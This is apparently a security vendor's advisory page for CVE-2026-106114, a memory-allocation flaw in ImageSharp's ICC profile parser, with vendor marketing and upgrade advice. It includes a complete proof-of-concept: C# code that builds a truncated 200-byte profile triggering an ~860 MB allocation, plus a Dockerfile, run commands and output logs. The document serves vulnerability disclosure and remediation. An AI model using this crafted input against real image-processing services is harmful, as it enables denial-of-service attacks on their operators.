CVE-2026-106114

CVE-2026-106114 is a medium-severity security vulnerability in SixLabors.ImageSharp (nuget), affecting versions >= 4.0.0, < 4.1.2. It is fixed in 4.1.2, 3.2.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions

A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.

In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 1.0.0-beta0001, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The parser defect is present from the first published NuGet prerelease, 1.0.0-beta0001, through the latest published release, 4.1.1. The automatic Image.Load conversion path used by the main PoC exists in >= 4.0.0, <= 4.1.1; earlier versions expose the same parser defect through the public IccProfile.Entries accessor.

Details

The reproduced profile has an A2B0 multi-process-elements (mpet) tag with a
clut element declaring 15 input channels, 15 output channels, and three grid
points per input channel. ReadClutF32
computes 3^15 * 15 and allocates that many floats before reading any CLUT
values or verifying that the tag has enough remaining data. The supplied
200-byte profile ends immediately after the CLUT grid descriptor.

In v4, the path is reached when an application decodes an embedded ICC profile using
DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert. The
default setting, Preserve, does not parse the profile for conversion.

In v1 through v3, ReadClutF32 uses a jagged representation. Loading an ICC-bearing JPEG and then accessing decoded.Metadata.IccProfile.Entries reaches the public lazy parser. The malformed profile allocates the 3^15-entry outer array before the missing CLUT values are detected.

Reproduction environment and result

The supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1
net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result.

Published 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by IccProfile.Entries; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published 1.0.0-beta0001 public IccProfile(bytes).Entries path allocated 114,813,528 bytes before a catchable managed bounds exception.

One exploit decode increased GC.GetTotalAllocatedBytes(true) by approximately
861.5 million bytes, then returned
InvalidIccProfileException: Invalid conversion method.
The reader catches the truncated-tag error and drops that tag. The identical
input with ColorProfileHandling.Preserve completed successfully with roughly
0.5 million allocated bytes in the harness.

One complete exploit run produced:

mode=exploit profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
observed_exception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method.
managed_bytes_allocated=861476416
Docker exit status: 0

The control from the same image produced:

mode=control profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
decoded=1x1 icc_present=True
managed_bytes_allocated=511888
Docker exit status: 0

The exact allocation counter includes runtime allocations and varies slightly
between processes; the requested CLUT array itself is 860,934,420 bytes.

No active exploitation is known.

Complete PoC files

Program.cs:

using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Png;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;

static class Program
{
    private const int RequestedFloats = 215233605; // 3^15 * 15
    private const int RequestedBytes = RequestedFloats * sizeof(float);

    private static void U32(byte[] bytes, int offset, uint value) => BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);
    private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);
    private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i < value.Length; i++) bytes[offset + i] = (byte)value[i]; }

    // ICC v4 RGB profile containing an A2B0 mpet tag whose CLUT is deliberately
    // truncated after its grid descriptor. ReadClutF32 still sizes float[] from
    // the 15 untrusted input/output channels and the grid value of three.
    private static byte[] BuildTruncatedProfile()
    {
        const int tagOffset = 144;
        const int elementOffset = 168;
        byte[] profile = new byte[200];
        U32(profile, 0, (uint)profile.Length);
        Ascii(profile, 4, "test");
        U32(profile, 8, 0x04000000);
        U32(profile, 12, 0x6D6E7472); // display device
        U32(profile, 16, 0x52474220); // RGB
        U32(profile, 20, 0x58595A20); // XYZ
        Ascii(profile, 36, "acsp");
        U32(profile, 128, 1);
        U32(profile, 132, 0x41324230); // A2B0
        U32(profile, 136, tagOffset);
        U32(profile, 140, 56);
        U32(profile, tagOffset, 0x6D706574); // mpet
        U16(profile, tagOffset + 8, 0);
        U16(profile, tagOffset + 10, 0);
        U32(profile, tagOffset + 12, 1);
        U32(profile, tagOffset + 16, 24); // element offset relative to tag start
        U32(profile, tagOffset + 20, 32);
        U32(profile, elementOffset, 0x636C7574); // clut
        U16(profile, elementOffset + 4, 15);
        U16(profile, elementOffset + 6, 15);
        for (int i = 0; i < 15; i++) profile[elementOffset + 8 + i] = 3;
        return profile;
    }

    private static byte[] BuildPng(byte[] icc)
    {
        using var image = new Image<Rgba32>(1, 1);
        image.Metadata.IccProfile = new IccProfile(icc);
        using var output = new MemoryStream();
        image.Save(output, new PngEncoder());
        return output.ToArray();
    }

    public static int Main(string[] args)
    {
        string mode = args.Length == 1 ? args[0] : "exploit";
        if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
        Console.WriteLine($"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}");
        Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
        Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
        long before = GC.GetTotalAllocatedBytes(true);
        try
        {
            byte[] png = BuildPng(BuildTruncatedProfile());
            var options = new DecoderOptions
            {
                ColorProfileHandling = mode == "exploit" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve
            };
            using Image decoded = Image.Load(options, png);
            Console.WriteLine($"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}");
        }
        catch (Exception exception)
        {
            Console.WriteLine($"observed_exception={exception.GetType().FullName}: {exception.Message}");
        }
        Console.WriteLine($"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}");
        return 0;
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>disable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
      <Private>true</Private>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
      <Private>true</Private>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY gwg2.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build gwg2.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/gwg2.dll"]

Run:

docker build -t imagesharp-gwg2-poc .
docker run --rm imagesharp-gwg2-poc exploit
docker run --rm imagesharp-gwg2-poc control

Impact

This report demonstrates a large attacker-controlled transient allocation in
the ICC conversion path. It does not demonstrate unhandled process termination:
allocation failure is caught while parsing the malformed tag, so the impact
should be limited to memory pressure / input-validation failure unless a
reproduction demonstrates a stronger result.

CVE-2026-106114 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2, 3.2.0); upgrading removes the vulnerable code path.

Affected versions

SixLabors.ImageSharp (>= 4.0.0, < 4.1.2) SixLabors.ImageSharp (>= 1.0.0-beta0001, < 3.2.0)

Security releases

SixLabors.ImageSharp → 4.1.2 (nuget) SixLabors.ImageSharp → 3.2.0 (nuget)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

SixLabors.ImageSharp to 4.1.2 or later; SixLabors.ImageSharp to 3.2.0 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-106114? CVE-2026-106114 is a medium-severity security vulnerability in SixLabors.ImageSharp (nuget), affecting versions >= 4.0.0, < 4.1.2. It is fixed in 4.1.2, 3.2.0.
  2. How severe is CVE-2026-106114? CVE-2026-106114 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of SixLabors.ImageSharp are affected by CVE-2026-106114? SixLabors.ImageSharp (nuget) versions >= 4.0.0, < 4.1.2 is affected.
  4. Is there a fix for CVE-2026-106114? Yes. CVE-2026-106114 is fixed in 4.1.2, 3.2.0. Upgrade to this version or later.
  5. Is CVE-2026-106114 exploitable, and should I be worried? Whether CVE-2026-106114 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-106114 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-106114?
    • Upgrade SixLabors.ImageSharp to 4.1.2 or later
    • Upgrade SixLabors.ImageSharp to 3.2.0 or later

Other vulnerabilities in SixLabors.ImageSharp

Stop the waste.
Protect your environment with Kodem.